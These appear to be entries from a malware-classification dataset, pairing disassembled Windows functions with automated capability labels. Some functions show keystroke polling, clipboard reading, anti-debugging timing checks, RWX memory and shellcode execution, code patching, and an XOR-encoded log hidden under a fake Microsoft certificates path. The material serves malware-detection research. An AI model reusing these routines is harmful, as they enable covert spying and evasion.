joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45ee88
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x45ef40
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x40]
lea edx, [ebp - 0x28]
mov eax, edi
call fcn.0045ee20
test al, al
je 0x45ef22
mov ecx, dword [ebp - 0x1c]
inc ecx
lea eax, [ebp - 0xc]
xor edx, edx
call fcn.00403d0c
mov ebx, dword [ebp - 0x20]
dec ebx
test ebx, ebx
jl 0x45ef22
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404068
push eax
push esi
mov eax, dword [edi + 4]
push eax
call sub.advapi32.dll_RegEnumValueA
mov eax, dword [ebp - 0xc]
call fcn.00404068
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.00403ddc
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x34]
inc esi
dec ebx
jne 0x45eedb
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45ef47
lea eax, [ebp - 0x2c]
call fcn.00403c24
lea eax, [ebp - 0xc]
call fcn.00403c24
ret

Function at 0x45f06c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.0045ea64
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00404068
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x45f0ca
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4f8474]
mov dl, 1
mov eax, dword [0x45e8f0]
call fcn.0040bf5c
call fcn.00403638
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x45f0d4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00404068
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x45f12c
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4f8694]
mov dl, 1
mov eax, dword [0x45e8f0]
call fcn.0040bf5c
call fcn.00403638
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0045ea94
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x46699c
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x10], 0xca
jne 0x4669ca
mov eax, ebx
call fcn.00467440
cmp dword [ebx + 0x3c], 0
je 0x4669c3
mov dword [ebx + 0x10], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x10], 0xcb
cmp dword [ebx + 0x10], 0xcb
jne 0x466a3b
mov edx, dword [ebx + 0x1a6]
cmp dword [edx + 0x10], 0
je 0x466a2d
cmp dword [ebx + 8], 0
je 0x4669ec
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1a6]
call dword [edx]
test eax, eax
jne 0x4669fe
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x466a2d
cmp dword [ebx + 8], 0
je 0x4669df
cmp eax, 3
je 0x466a11
dec eax
jne 0x4669df
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4669df
mov edx, dword [ebx + 0x132]
add dword [eax + 8], edx
jmp 0x4669df
mov ecx, dword [ebx + 0x8c]
mov dword [ebx + 0x94], ecx
jmp 0x466a59
cmp dword [ebx + 0x10], 0xcc
je 0x466a59
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x12
mov edx, dword [ebx + 0x10]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00466a64
pop ebx
ret
Function at 0x479230
Capabilities:
Query service configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004793f8
xor eax, eax
push ebp
push 0x479303
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
call fcn.0047940c
xor eax, eax
push ebp
push 0x4792e6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xff0
call fcn.00408914
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x4792c9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
push 0xff0
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x24]
push eax
call sub.advapi32.dll_QueryServiceConfigA
test eax, eax
je 0x4792ae
mov eax, dword [ebp - 0x10]
cmp dword [eax + 4], 2
sete byte [ebp - 5]
jmp 0x4792b3
call fcn.0040d038
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4792d0
mov eax, dword [ebp - 0x10]
call fcn.00402750
ret

Function at 0x479380
Capabilities:
Query service status

Disassembly:
push ebx
add esp, 0xffffffe4
mov ebx, edx
mov eax, esp
xor ecx, ecx
mov edx, 0x1c
call fcn.00402ba0
push esp
push ebx
call sub.advapi32.dll_QueryServiceStatus
test eax, eax
jne 0x4793a4
call fcn.0040d038
mov eax, dword [esp + 4]
cmp eax, 7
ja case.0x4793ad.0
jmp dword [eax*4 + 0x4793b4]
mov al, 1
jmp 0x4793f2
mov al, 2
jmp 0x4793f2
mov al, 3
jmp 0x4793f2
mov al, 4
jmp 0x4793f2
mov al, 5
jmp 0x4793f2
mov al, 6
jmp 0x4793f2
mov al, 7
jmp 0x4793f2
xor eax, eax
add esp, 0x1c
pop ebx
ret

Function at 0x479444
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404058
xor eax, eax
push ebp
push 0x4794a3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov ecx, 0x4794b8
mov edx, dword [ebp - 4]
call fcn.00403ef0
push 0
mov eax, dword [ebp - 8]
call fcn.00404068
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4794aa
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403c48
ret
Function at 0x4794c4
Capabilities:
Modify service
Query service configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004793f8
xor eax, eax
push ebp
push 0x4795d8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0047940c
xor eax, eax
push ebp
push 0x4795bb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xff0
call fcn.00408914
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x47959e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
push 0xff0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x24]
push eax
call sub.advapi32.dll_QueryServiceConfigA
test eax, eax
je 0x479583
test bl, bl
je 0x479544
mov eax, dword [ebp - 0xc]
mov dword [eax + 4], 2
jmp 0x47954e
mov eax, dword [ebp - 0xc]
mov dword [eax + 4], 3
push 0
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
push eax
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x24]
push eax
call sub.advapi32.dll_ChangeServiceConfigA
test eax, eax
jne 0x479588
call fcn.0040d038
jmp 0x479588
call fcn.0040d038
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4795a5
mov eax, dword [ebp - 0xc]
call fcn.00402750
ret

Function at 0x479710
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404058
xor eax, eax
push ebp
push 0x47976f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov ecx, 0x479784
mov edx, dword [ebp - 4]
call fcn.00403ef0
push 0
mov eax, dword [ebp - 8]
call fcn.00404068
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x479776
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403c48
ret

Function at 0x479904
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00404058
xor eax, eax
push ebp
push 0x4799e4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004793f8
xor eax, eax
push ebp
push 0x4799c7
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00479888
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x4799aa
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
call fcn.00479380
sub al, 2
je 0x47996d
add al, 0xfe
sub al, 2
jae 0x479979
call fcn.004036d8
call fcn.004036d8
jmp 0x4799ce
lea eax, [ebp - 0xc]
push eax
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_StartServiceA
test eax, eax
jne 0x479991
call fcn.0040d038
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4799b1
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 4]
call fcn.004798f0
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4799eb
lea eax, [ebp - 8]
call fcn.00403c24
ret
Function at 0x48cf18
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebx
mov ebx, eax
lea eax, [ebx + 8]
push eax
call sub.kernel32.dll_QueryPerformanceCounter
lea eax, [ebx + 0x10]
push eax
call sub.kernel32.dll_QueryPerformanceCounter
mov eax, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
sub eax, dword [ebx + 8]
sbb edx, dword [ebx + 0xc]
mov dword [ebx + 0x20], eax
mov dword [ebx + 0x24], edx
pop ebx
ret

Function at 0x4ba4cc
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4ba650
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebx + 0x113], 0x12
test byte [ebx + 0x20], 0x10
jne 0x4ba632
mov eax, ebx
call fcn.004bee54
test byte [eax + 0x2cc], 8
jne 0x4ba632
cmp word [ebx + 0x1aa], 0
je 0x4ba53b
mov byte [ebp - 1], 1
lea ecx, [ebp - 1]
mov edx, ebx
mov eax, dword [ebx + 0x1ac]
call dword [ebx + 0x1a8]
cmp byte [ebp - 1], 0
je 0x4ba632
mov eax, ebx
call fcn.004bee54
test eax, eax
je 0x4ba632
mov al, byte [ebx + 0x44]
cmp al, 4
je 0x4ba627
mov byte [ebx + 0x8c], al
mov byte [ebx + 0x44], 4
cmp byte [ebx + 0x45], 0
jne 0x4ba593
mov al, byte [ebx + 0x8c]
cmp al, 2
je 0x4ba593
cmp al, 1
je 0x4ba593
cmp al, 3
je 0x4ba593
mov eax, ebx
call fcn.004bee54
lea edx, [ebp - 0x14]
call fcn.004315f4
lea esi, [ebp - 0x14]
lea edi, [ebx + 0x7c]
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
cmp byte [ebx + 0x58], 0
je 0x4ba5db
lea edx, [ebp - 0x18]
mov eax, dword [0x4f84f4]
mov eax, dword [eax]
call fcn.0044feb4
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 0xa8]
mov ecx, 0x3f
call fcn.00409448
mov eax, dword [0x4f84f4]
mov eax, dword [eax]
call fcn.0044fce8
push 0
mov eax, dword [0x4f84f4]
mov eax, dword [eax]
mov eax, dword [eax + 0x24]
push eax
call sub.user32.dll_ShowWindow
jmp 0x4ba617
mov eax, ebx
call fcn.004bee54
test eax, eax
je 0x4ba608
mov eax, ebx
call fcn.004bee54
lea edx, [ebp - 0x1c]
call fcn.00431bec
mov edx, dword [ebp - 0x1c]
lea eax, [ebx + 0xa8]
mov ecx, 0x3f
call fcn.00409448
push 0
mov eax, ebx
call fcn.004bee78
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebx + 0x90]
push eax
push 0
call sub.shell32.dll_Shell_NotifyIconA
jmp 0x4ba62e
mov eax, ebx
call fcn.004b9e04
mov byte [ebx + 0x45], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ba657
lea eax, [ebp - 0x1c]
call fcn.00403c24
lea eax, [ebp - 0x18]
call fcn.00403c24
ret
Function at 0x4c678c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov ebx, edx
mov dword [ebp - 0xc], eax
xor eax, eax
mov al, byte [ebx + 4]
mov word [ebp - 6], ax
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4c67b3
add word [ebp - 6], 0x2000
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4c67c5
add word [ebp - 6], 0x4000
test byte [ebx + 0xb], 0x20
je 0x4c67d1
add word [ebp - 6], 0x8000
mov byte [ebp - 0xd], 0
movzx edx, word [ebp - 6]
mov cl, 2
mov eax, dword [ebp - 0xc]
call fcn.004c661c
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4c681e
xor eax, eax
push ebp
push 0x4c6817
push dword fs:[eax]
mov dword fs:[eax], esp
push ebp
lea eax, [ebp - 4]
xor edx, edx
call fcn.004c664c
pop ecx
mov byte [ebp - 0xd], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c681e
ret
cmp byte [ebp - 0xd], 2
je 0x4c67d1
cmp dword [ebp - 4], 0
setne al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4d8a78
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov byte [ebp - 1], 3
call fcn.0042cc6c
mov dx, word [0x511f0c]
call fcn.0042cc34
test al, al
je 0x4d8aff
call fcn.0042cc6c
call fcn.0042c658
mov eax, dword [0x511f0c]
push eax
call sub.user32.dll_GetClipboardData
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4d8af8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x4d8ad1
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalLock
mov al, byte [eax]
mov byte [ebp - 1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d8aff
cmp dword [ebp - 8], 0
je 0x4d8aed
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalUnlock
call fcn.0042cc6c
call fcn.0042c62c
ret
mov al, byte [ebp - 1]
pop ecx
pop ecx
pop ebp
ret

Function at 0x4d8b08
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov byte [ebp - 1], dl
call fcn.0042cc6c
call fcn.0042c658
xor edx, edx
push ebp
push 0x4d8bd6
push dword fs:[edx]
mov dword fs:[edx], esp
push 1
push 0x2002
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x4d8ba6
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalLock
xor edx, edx
push ebp
push 0x4d8b95
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, eax
lea eax, [ebp - 1]
mov ecx, 1
call fcn.00402850
mov eax, dword [ebp - 8]
push eax
mov eax, dword [0x511f0c]
push eax
call sub.user32.dll_SetClipboardData
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d8b9c
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalUnlock
ret
Function at 0x10001ec0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x10
push ebx
push ebp
mov ebp, ecx
push esi
push edi
mov dword [esp + 0x14], ebp
lea ebx, [ebp + 0x54]
mov ecx, ebx
call fcn.10001370
mov eax, dword [esp + 0x28]
test eax, eax
jbe 0x1000202f
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
fild qword [esp + 0x18]
fmul qword [0x1000a130]
fadd qword [0x1000a128]
call sub.MSVCRT.dll__ftol
push eax
mov dword [esp + 0x14], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
add esp, 4
test edi, edi
jne 0x10001f21
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8
mov eax, dword [esp + 0x28]
mov esi, dword [esp + 0x24]
push eax
lea ecx, [esp + 0x14]
push esi
push ecx
push edi
call fcn.10003ca0
add esp, 0x10
test eax, eax
je 0x10001f53
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8
mov edx, dword [esp + 0x10]
add ebp, 0xb0
add edx, 0xe
push 6
push ebp
mov ecx, ebx
mov dword [esp + 0x20], edx
call fcn.10001080
lea eax, [esp + 0x18]
push 4
push eax
mov ecx, ebx
call fcn.10001080
lea ecx, [esp + 0x28]
push 4
push ecx
mov ecx, ebx
call fcn.10001080
mov ecx, dword [esp + 0x10]
xor eax, eax
test ecx, ecx
jbe 0x10001fa9
mov cl, byte [eax + edi]
mov dl, al
inc dl
xor cl, dl
mov byte [eax + edi], cl
mov ecx, dword [esp + 0x10]
inc eax
cmp eax, ecx
jb 0x10001f94
push ecx
push edi
mov ecx, ebx
call fcn.10001080
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x2c]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [esp + 0x30]
mov ebp, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x1c]
mov ecx, edx
and ecx, 3
add esp, 8
rep movsb byte es:[edi], byte [esi]
lea esi, [eax + 0x7c]
mov ecx, esi
call fcn.10001370
mov ecx, dword [esp + 0x28]
push ecx
push ebp
mov ecx, esi
call fcn.10001080
test ebp, ebp
je 0x10002003
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ebp, dword [esp + 0x14]
push 0x2000
mov ecx, ebx
call fcn.100011c0
push eax
push 0
mov ecx, ebx
call fcn.100013a0
push eax
mov ecx, ebp
call fcn.10002060
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8
lea esi, [ebp + 0xb0]
push 6
push esi
mov ecx, ebx
call fcn.10001080
lea edi, [ebp + 0x7c]
mov ecx, edi
call fcn.10001370
push 6
push esi
mov ecx, edi
call fcn.10001080
jmp 0x10002007
Function at 0x10002180
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0xc
push esi
mov esi, ecx
mov eax, dword [esi + 8]
test eax, eax
je 0x10002199
mov eax, 1
pop esi
add esp, 0xc
ret 4
push edi
mov edi, dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
mov dword [esi + 4], eax
jne 0x100021b6
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esi + 4], eax
mov eax, dword [esi + 4]
pop edi
test eax, eax
jne 0x100021c5
pop esi
add esp, 0xc
ret 4
lea ecx, [esp + 4]
push 0xc
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.PSAPI.DLL_GetModuleInformation
test eax, eax
jne 0x100021e4
pop esi
add esp, 0xc
ret 4
mov edx, dword [esp + 8]
push 0x40
push 0x3000
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [esi + 8], eax
jne 0x10002206
pop esi
add esp, 0xc
ret 4
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push 0
push ecx
push edx
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0xc
ret 4
Function at 0x100024d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push ebx
mov ebx, ecx
push esi
push edi
mov eax, dword [ebx + 8]
test eax, eax
jne 0x100024e6
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret 4
mov ecx, dword [ebx + 0x10]
mov eax, 0xdca01dcb
mul ecx
mov edi, dword [ebx + 0x14]
sub ecx, edx
shr ecx, 1
push ebp
add ecx, edx
xor ebp, ebp
shr ecx, 8
mov dword [esp + 0x10], ecx
je 0x10002547
mov esi, dword [esp + 0x18]
mov eax, edi
mov cl, byte [eax]
mov dl, cl
cmp cl, byte [esi]
jne 0x1000252f
test dl, dl
je 0x1000252b
mov cl, byte [eax + 1]
mov dl, cl
cmp cl, byte [esi + 1]
jne 0x1000252f
add eax, 2
add esi, 2
test dl, dl
jne 0x1000250b
xor eax, eax
jmp 0x10002534
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10002547
mov eax, dword [esp + 0x10]
add edi, 0x12769
inc ebp
cmp ebp, eax
jb 0x10002505
mov eax, dword [esp + 0x10]
cmp ebp, eax
pop ebp
jne 0x10002559
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret 4
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [esp + 0xc]
mov dword [esp + 0x14], 0x40
mov eax, dword [edi + 0x108]
push edx
push 0x40
push 7
push eax
call esi
test eax, eax
jne 0x10002584
pop edi
pop esi
pop ebx
pop ecx
ret 4
mov edx, dword [edi + 0x108]
lea ecx, [edi + 0x10c]
mov eax, dword [edi + 0x10c]
mov dword [edx], eax
mov ax, word [ecx + 4]
mov word [edx + 4], ax
mov cl, byte [ecx + 6]
mov byte [edx + 6], cl
mov eax, dword [esp + 0xc]
mov ecx, dword [edi + 0x108]
lea edx, [esp + 0x14]
push edx
push eax
push 7
push ecx
call esi
mov ecx, 0x44
xor eax, eax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebx + 0xc]
dec eax
mov dword [ebx + 0xc], eax
jne 0x100025f5
mov edx, dword [ebx + 8]
push 0x8000
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebx + 0x14]
mov dword [ebx + 8], 0
push eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
pop esi
mov eax, 1
pop ebx
pop ecx
ret 4
Function at 0x10002760
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x1000f00e
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push 0
push esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x100027af
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
shl ebx, 1
push ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, ebx
mov ebp, eax
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
add esp, 4
and ecx, 3
xor eax, eax
test ebx, ebx
rep movsb byte es:[edi], byte [esi]
jle 0x100027ef
mov cl, byte [eax + ebp]
xor cl, 0x62
mov byte [eax + ebp], cl
inc eax
cmp eax, ebx
jl 0x100027e1
mov esi, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push 0
push ecx
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x10002d20
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1000dd84], eax
mov ecx, 0x40
xor eax, eax
mov edi, 0x1000fa16
push 0x1000dd94
mov dword [0x1000f008], 0
mov dword [0x1000f004], 0
mov dword [section.Shared_D], 0
push str._sMicrosoftSystemCertificates_service.log
push 0x1000f00e
rep stosd dword es:[edi], eax
call dword [0x1000d73c]
add esp, 0xc
push 0x1000df9c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
pop edi
setne al
mov byte [0x1000f00c], al
mov eax, dword [0x1000f004]
test eax, eax
jne 0x10002dab
mov ecx, dword [0x1000dd90]
push 0
push ecx
push 0x10002980
push 3
call dword [0x1000d71c]
mov dword [0x1000f004], eax
mov al, 1
ret
Function at 0x10002e50
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
sub esp, 0x20c
push ebx
push ebp
push edi
push 0x1000dd94
lea eax, [esp + 0x14]
xor edi, edi
push str._sMicrosoftSystemCertificates_service.log
mov ebp, ecx
push eax
mov dword [esp + 0x18], edi
call dword [0x1000d73c]
add esp, 0xc
lea ecx, [esp + 0x10]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10002eea
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea edx, [esp + 0x10]
mov esi, eax
push 0
push edx
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x10002ed5
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x10002ec7
push edi
push esi
mov ecx, ebp
call fcn.10002df0
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x20c
ret